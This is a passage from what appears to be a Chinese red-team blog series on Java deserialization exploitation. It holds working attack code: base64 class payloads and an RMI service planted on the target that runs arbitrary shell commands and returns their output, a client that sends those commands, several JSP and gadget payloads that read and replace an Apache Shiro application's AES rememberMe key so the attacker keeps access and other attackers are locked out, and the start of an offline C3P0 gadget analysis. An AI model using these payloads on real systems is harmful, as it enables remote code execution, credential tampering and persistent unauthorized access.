WVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAgABQAFQADABYAFwAYAAAAAgAAABkAGgABABsAAAAdAAEAAQAAAAUqtwABsQAAAAEAHAAAAAYAAQAAAA0AAQAdAB4AAgAbAAAApgAEAAgAAABuBD0SArgAA04txgARLbYABBIFtgAGmQAFAz0cmQAYBr0AB1kDEghTWQQSCVNZBStTpwAVBr0AB1kDEgpTWQQSC1NZBStTOgS4AAwZBLYADbYADjoFuwAPWRkFtwAQEhG2ABI6BhkGtgATOgcZB7AAAAABABwAAAAmAAkAAAAQAAIAEQAIABIAGAATABoAFgBHABcAVAAYAGQAGQBrABoAHwAAAAQAAQAgAAEAIQAAAAIAIg==");
byte[] bytesTrigger = Base64.decode("yv66vgAAADEAKAoACgASCAATCgAUABUHABYKAAQAEgoAFwAYCwAZABoHABsHABwHAB0BAAY8aW5pdD4BABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMAAsAHgEACTEyNy4wLjAuMQcAHwwAIAAhAQALQmluZEV4ZWNPYmoHACIMACMAJAcAJQwAJgAnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEnRyaWdnZXJCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAAMoKVYBACBqYXZhL3JtaS9yZWdpc3RyeS9Mb2NhdGVSZWdpc3RyeQEAC2dldFJlZ2lzdHJ5AQAxKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5OwEAI2phdmEvcm1pL3NlcnZlci9VbmljYXN0UmVtb3RlT2JqZWN0AQAMZXhwb3J0T2JqZWN0AQAlKExqYXZhL3JtaS9SZW1vdGU7SSlMamF2YS9ybWkvUmVtb3RlOwEAGmphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5AQAGcmViaW5kAQAmKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3JtaS9SZW1vdGU7KVYAIQAJAAoAAAAAAAEAAQALAAwAAgANAAAAZgADAAYAAAAqKrcAARICHLgAA067AARZtwAFOgQZBAO4AAZXLSsZBLkABwMApwAFOgWxAAEAGwAkACcACAABAA4AAAAiAAgAAAAgAAQAIgALACMAFAAkABsAJgAkACkAJwAnACkAKwAPAAAABAABAAgAAQAQAAAAAgAR");

Class cService = null;
Class cImpl = null;
Class cTrigger = null;

try{
cImpl = cl.loadClass("BindExecImpl");
}catch(Exception e){
cImpl = (Class)method.invoke(cl, bytesImpl, 0, bytesImpl.length);
}


try{
cService = cl.loadClass("BindExecObj");
}catch(Exception e){
cService = (Class)method.invoke(cl, bytesService, 0, bytesService.length);
}

try{
cTrigger = cl.loadClass("triggerBindExecObj");
}catch(Exception e){
cTrigger = (Class)method.invoke(cl, bytesTrigger, 0, bytesTrigger.length);
}

try {
Constructor ct = cTrigger.getDeclaredConstructor(new Class[]{String.class, int.class});
ct.newInstance(new Object[]{"scl1ent-scheduler-Administrator", 1099});
}catch(Exception e){
System.out.println(e);
}

}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

项目结束后,感觉这方法略微麻烦,得优化一下。
RemoteDebugger来源于JAVA_HOME/lib/sa-jdi.jar,

本地idea运行的时候自动把JAVA_HOME/lib下的所有jar包加入到了classpath中,然而在默认的配置中sa-jdi不会在classpath中,也不会被JVM默认加载,导致了目标无法使用。

那么只要从rt.jar里找一个其他的接口就能解决这个问题了,双String只找到了RemoteDebugger,那么就降低标准,现在只要找到其中一个是String的就行。

1
2
3
4
5
6
7
8
package javax.management.remote.rmi;

public interface RMIConnection extends Closeable, Remote {
.....................................
public String getDefaultDomain(Subject delegationSubject)
throws IOException;
.....................................
}

getDefaultDomain方法参数类型不是String,返回类型是String。
参数类型是javax.security.auth.Subject类,只要Subject类中存在一个String类型的属性用它来传递命令即可。

1
2
3
Set<Principal> principals;
transient Set<Object> pubCredentials;
transient Set<Object> privCredentials;

虽然不存在直接的String属性,不过也影响不大。pubCredentials、privCredentials属性被transient关键字修饰,无法被序列化,那么只能用principals属性。

principals属性是Principal接口对象的集合,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.sun.security.auth;
public class UnixPrincipal implements Principal, java.io.Serializable {
private static final long serialVersionUID = -2951667807323493631L;

/**
* @serial
*/
private String name;

public UnixPrincipal(String name) {
if (name == null) {
java.text.MessageFormat form = new java.text.MessageFormat
(sun.security.util.ResourcesMgr.getString
("invalid.null.input.value",
"sun.security.util.AuthResources"));
Object[] source = {"name"};
throw new NullPointerException(form.format(source));
}

this.name = name;
}

}

UnixPrincipal实现了Principal接口,并且存在String属性name,直接通过构造方法设置即可。

最后利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.management.*;
import javax.management.remote.NotificationResult;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.rmi.MarshalledObject;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.security.Principal;
import java.util.Set;

public class RMIBindService extends AbstractTranslet implements RMIConnection {

public RMIBindService() throws RemoteException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);
registry.rebind("MonitorService", this);
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public String getConnectionId() throws IOException {
return null;
}

@Override
public void close() throws IOException {

}

@Override
public ObjectInstance createMBean(String className, ObjectName name, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public void unregisterMBean(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, MBeanRegistrationException, IOException {

}

@Override
public ObjectInstance getObjectInstance(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return null;
}

@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public Set<ObjectName> queryNames(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public boolean isRegistered(ObjectName name, Subject delegationSubject) throws IOException {
return false;
}

@Override
public Integer getMBeanCount(Subject delegationSubject) throws IOException {
return null;
}

@Override
public Object getAttribute(ObjectName name, String attribute, Subject delegationSubject) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public AttributeList getAttributes(ObjectName name, String[] attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public void setAttribute(ObjectName name, MarshalledObject attribute, Subject delegationSubject) throws InstanceNotFoundException, AttributeNotFoundException, InvalidAttributeValueException, MBeanException, ReflectionException, IOException {

}

@Override
public AttributeList setAttributes(ObjectName name, MarshalledObject attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public Object invoke(ObjectName name, String operationName, MarshalledObject params, String[] signature, Subject delegationSubject) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException {
return null;
}

@Override
public String getDefaultDomain(Subject delegationSubject) throws IOException {

Set<Principal> p = delegationSubject.getPrincipals();
String command = p.iterator().next().getName();
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.next();
return output;
}

@Override
public String[] getDomains(Subject delegationSubject) throws IOException {
return new String[0];
}

@Override
public MBeanInfo getMBeanInfo(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
return null;
}

@Override
public boolean isInstanceOf(ObjectName name, String className, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return false;
}

@Override
public void addNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public Integer[] addNotificationListeners(ObjectName[] names, MarshalledObject[] filters, Subject[] delegationSubjects) throws InstanceNotFoundException, IOException {
return new Integer[0];
}

@Override
public void removeNotificationListeners(ObjectName name, Integer[] listenerIDs, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public NotificationResult fetchNotifications(long clientSequenceNumber, int maxNotifications, long timeout) throws IOException {
return null;
}
}

通过Jdk7u21利用链执行以上代码,当然所有能够执行代码的Gadget都能通过这种方式回显。

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);

这里需要注意一下,ip填写127.0.0.1不填写公网ip。
registry限制只能localhost bind,这里相当于在目标机器执行代码往它自己registry中绑定,1099就填写正确的rmi registry端口即可。

使用exportObject暴露服务时,如果目标不存在安全组等其他策略填0即可,为0时会在一个随机端口暴露。如果存在安全策略,那么可以尝试绑定到80,443等常见端口上,能够访问的几率更大一点。

最后调用远程方法实现回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import com.sun.security.auth.LdapPrincipal;
import com.sun.security.auth.UnixPrincipal;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;

import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashSet;
import java.util.Set;

public class RMIClient {
public static void main(String[] args) throws Exception {

String command = "id";
Registry registry = LocateRegistry.getRegistry("ip",port);

// for(String x:registry.list()){
// System.out.println(x);
// }

Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

System.out.println(((RMIConnection)registry.lookup("MonitorService")).getDefaultDomain(subject));

}
}

利用工具

https://github.com/A-D-Team/attackRmi

利用lookup registry触发的反序列,比起bind能多打一些版本,无需出网无需落地文件。
目前只支持了CommonsCollections、CommonsBeanutils、Jdk7u21利用链,后续再更新利用链和看看是否要支持绕JEP290的那些方法。

众所周知,RMI服务客户端服务端可以双向攻击,为了解决这个问题,工具里没有依赖CommonsCollections、CommoneBeanutils包,把一些核心类给抽取了出来并且改了一些反序列化所需要的方法。

通过代码执行修改Shiro密钥

适用场景

平时在做一些项目时,打点时发现Shiro反序列化漏洞后却不想其他攻击队通过此入口进来时,就需要修改Shiro的密钥了。

如何修改密钥

首先大概了解一下Shiro反序列化漏洞,Shiro的反序列化出现在”记住我”的功能中,用来储存用户登录状态信息,实现自动登录,登录状态序列化后储存到cookie中。
Shiro默认使用了CookieRememberMeManager,反序列化经过的路径为,Cookie获取rememebrMe值->base64解码->AES解密->反序列。路径中其中最重要的就是AES解密,所以Shiro这洞是需要知道目标的AES密钥才能利用,在低版本(小于1.2.4)中如果开发者没有手动设置密钥,那么会使用默认密钥kPH+bIxk5D2deZiIxcaaaA==,如果默认密钥不正确也可以继续尝试Shiro 100Keys,在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥。

再回到改密钥的问题中,如果是常规的通过修改文件密钥后需要重启服务比较拉跨,最好的方式还是通过代码执行获取到cookieRememberMeManager然后调用它的setCipherKey方法直接修改密钥。

那么现在问题在于如何获取到服务启动时生成的cookieRememberMeManager,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class DefaultWebSecurityManager extends DefaultSecurityManager implements WebSecurityManager {
private static final Logger log = LoggerFactory.getLogger(DefaultWebSecurityManager.class);
/** @deprecated */
@Deprecated
public static final String HTTP_SESSION_MODE = "http";
/** @deprecated */
@Deprecated
public static final String NATIVE_SESSION_MODE = "native";
/** @deprecated */
@Deprecated
private String sessionMode;

public DefaultWebSecurityManager() {
((DefaultSubjectDAO)this.subjectDAO).setSessionStorageEvaluator(new DefaultWebSessionStorageEvaluator());
this.sessionMode = "http";
this.setSubjectFactory(new DefaultWebSubjectFactory());
this.setRememberMeManager(new CookieRememberMeManager());
this.setSessionManager(new ServletContainerSessionManager());
}

在服务启动时,会调用DefaultWebSecurityManager#setRememberMeManager方法将cookieRememberMeManager保存到DefaultSecurityManager的rememberMeManager属性中。

那么只要能获取到DefaultWebSecurityManager再获取rememberMeManager属性即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected WebSecurityManager createWebSecurityManager() {
Ini ini = this.getIni();
WebIniSecurityManagerFactory factory;
if (CollectionUtils.isEmpty(ini)) {
factory = new WebIniSecurityManagerFactory();
} else {
factory = new WebIniSecurityManagerFactory(ini);
}

WebSecurityManager wsm = (WebSecurityManager)factory.getInstance();
Map<String, ?> beans = factory.getBeans();
if (!CollectionUtils.isEmpty(beans)) {
this.objects.putAll(beans);
}

return wsm;
}

IniWebEnvironment#createWebSecurityManager方法中,在服务启动时通过工厂模式生成了WebSecurityManagaer后,put保存到DefaultEnvironment的objects属性中,如果能获取到Environment就能获取到WebSecurityManagaer。

org.apache.shiro.web.util.WebUtils

1
2
3
4
5
6
7
8
public static WebEnvironment getRequiredWebEnvironment(ServletContext sc) throws IllegalStateException {
WebEnvironment we = getWebEnvironment(sc);
if (we == null) {
throw new IllegalStateException("No WebEnvironment found: no EnvironmentLoaderListener registered?");
} else {
return we;
}
}

提供了一个static方法WebEnvironment,能够根据servletcontext获取到WebEnvironment,在WebEnvironment中又直接提供了getWebSecurityManager方法。

1
2
3
4
5
public WebSecurityManager getWebSecurityManager() {
SecurityManager sm = super.getSecurityManager();
this.assertWebSecurityManager(sm);
return (WebSecurityManager)sm;
}

getWebSecurityManager方法中最后调用了lookupSecurityManager方法获取SecurityManager,其实也就是从DefaultEnvironment的objects属性中获取的。

1
2
3
4
protected SecurityManager lookupSecurityManager() {
String name = this.getSecurityManagerName();
return (SecurityManager)this.getObject(name, SecurityManager.class);
}

获取到WebSecurityManager后就很简单了,通过反射获取父类DefaultWebSecurityManager的rememberMeManager属性,再调用setCipherKey。

如果是通过其他漏洞拿下的权限,需要知道此时shiro的密钥做权限维持等操作时,就调用getCipherKey获取。

JSP版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page import="org.apache.shiro.web.mgt.CookieRememberMeManager" %>
<%@ page import="org.apache.shiro.web.mgt.WebSecurityManager" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="org.apache.shiro.web.env.WebEnvironment" %>
<%@ page import="org.apache.shiro.web.util.WebUtils" %><%
WebEnvironment env = WebUtils.getRequiredWebEnvironment(request.getServletContext());
WebSecurityManager webSecurityManager = env.getWebSecurityManager();

Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
out.print(new BASE64Encoder().encode(cookieRememberMeManager.getCipherKey()));
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
%>

查看了下WebUtils.getRequiredWebEnvironment方法,最后调用的是getWebEnvironment方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static WebEnvironment getWebEnvironment(ServletContext sc) {
return getWebEnvironment(sc, EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY);
}

public static WebEnvironment getWebEnvironment(ServletContext sc, String attrName) {
if (sc == null) {
throw new IllegalArgumentException("ServletContext argument must not be null.");
} else {
Object attr = sc.getAttribute(attrName);
if (attr == null) {
return null;
} else if (attr instanceof RuntimeException) {
throw (RuntimeException)attr;
} else if (attr instanceof Error) {
throw (Error)attr;
} else if (attr instanceof Exception) {
throw new IllegalStateException((Exception)attr);
} else if (!(attr instanceof WebEnvironment)) {
throw new IllegalStateException("Context attribute is not of type WebEnvironment: " + attr);
} else {
return (WebEnvironment)attr;
}
}
}

其实也就是从servletcontext中获取的org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY属性,就可以再改一版更方便的出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page import="org.apache.shiro.web.mgt.CookieRememberMeManager" %>
<%@ page import="org.apache.shiro.web.mgt.WebSecurityManager" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="org.apache.shiro.web.env.DefaultWebEnvironment" %>
<%@ page import="org.apache.shiro.web.mgt.DefaultWebSecurityManager" %>
<%

WebSecurityManager webSecurityManager = ((DefaultWebEnvironment)request.getServletContext().getAttribute("org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY")).getObject("securityManager", DefaultWebSecurityManager.class);

Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
out.print(new BASE64Encoder().encode(cookieRememberMeManager.getCipherKey()));
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));

%>

最方便的还是直接借助shiro的反序列化执行JAVA代码修改密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Method method;
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);

field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
for(NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = dynamicMBean.getClass().getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = obj.getClass().getSuperclass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(obj);
method = standardContext.getClass().getDeclaredMethod("getServletContext");
WebSecurityManager webSecurityManager = ((DefaultWebEnvironment)((ServletContext)method.invoke(standardContext)).getAttribute("org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY")).getObject("securityManager", DefaultWebSecurityManager.class);
Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
break;
}

}catch(Exception e){
}

在后期发现WebUtils.getRequiredWebEnvironment这种方式只能在Tomcat下使用,当环境为springboot时返回”No WebEnvironment found: no EnvironmentLoaderListener registered?”, 没有注册WebEnvironment。 Springboot就只能从其他路径来获取WebSecurity了,从context中依然能够拿到DefaultSecurityManager,原理都是差不多的,就不再多介绍了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
ServletRequestAttributes s = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes());
Field field_req = s.getClass().getDeclaredField("request");
field_req.setAccessible(true);
ServletContext servletContext = ((RequestFacade) field_req.get(s)).getServletContext();
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext ac = (ApplicationContext) f.get(servletContext);
org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext w = (AnnotationConfigServletWebServerApplicationContext) ac.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");
f = Class.forName("org.springframework.beans.factory.support.DefaultSingletonBeanRegistry").getDeclaredField("singletonObjects");
f.setAccessible(true);
ConcurrentHashMap concurrentHashMap = (ConcurrentHashMap) f.get(w.getAutowireCapableBeanFactory());
DefaultSecurityManager defaultSecurityManager = (DefaultSecurityManager) concurrentHashMap.get("securityManager");
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) defaultSecurityManager.getRememberMeManager();
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
}catch(Exception e){
}

为了更通用一点能在大部分中间件下使用,可以参考以前的DFS回显改一版修改密钥的出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import sun.misc.BASE64Decoder;;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashSet;

public class DFS_edit_shiro_key extends AbstractTranslet {

static HashSet<Object> h;
static DefaultWebSecurityManager r;

public DFS_edit_shiro_key() throws IOException {
r = null;
h =new HashSet<Object>();
F(Thread.currentThread(),0);
}

private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}

h.add(obj);
return false;
}
private static void p(Object o, int depth) throws IOException {
if(depth > 52||(r !=null)){
return;
}
if(!i(o)){
if(r ==null&& DefaultWebSecurityManager.class.isAssignableFrom(o.getClass())){
r = (DefaultWebSecurityManager)o;
}
if(r != null){
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) r.getRememberMeManager();
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
return;
}

F(o,depth+1);
}
}
private static void F(Object start, int depth){

Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);

if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}

}

}catch (Exception e){
}
}

}while(
(n = n.getSuperclass())!=null
);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

最后

因为cipherkey用来加密序列化后的登录信息,修改了key后应该会导致之前业务上使用rememberMe自动登录的账户需要重新登录(感觉影响不大)。

参考

https://gist.github.com/fnmsd/4d9ed529ceb6c2a464f75c379dadd3a8

JAVA反序列化之C3P0不出网利用

C3P0是本人在实战环境中除CommonsCollections、CommonsBeanutiles以外遇到最多的JAR包,其中一部分C3P0是被org.quartz-scheduler:quartz所依赖进来的。
ysoserial中也提供了C3P0 Gadget, 利用方式为URLClassLoader加载远程class实例化实现代码执行, 因此带来了一个限制,需要目标能够出网。
近期在做一次测试的时候,发现了个反序列化漏洞环境为Tomcat8,尝试了常用的Gadget都不存在,使用C3P0时产生了DNS请求不过无HTTP请求,换了一些常见端口一样无HTTP请求导致无法利用,折腾了半天最后还是只能回去看看C3P0的代码。

C3P0 分析

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase

1
2
3
4
5
6
7
8
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch(version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

com.mchange.v2.naming.ReferenceIndirector

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

// 利用点
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}

throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}

在getObject方法中,很明显可以JNDI注入,但是JNDI注入的限制条件比URLClassLoader加载远程class限制条件还多,不考虑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}

Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}

Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}

NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}

ysoserial中的利用就是通过referenceToObject方法URLClassloader加载远程class实现利用。
可以发现在referenceToObject方法中如果getFactoryClassLocation获取到的是null,就不会使用URLClassloader而是当前线程的ClassLoader,这意味着能够实例化WEB目录下的任意类。
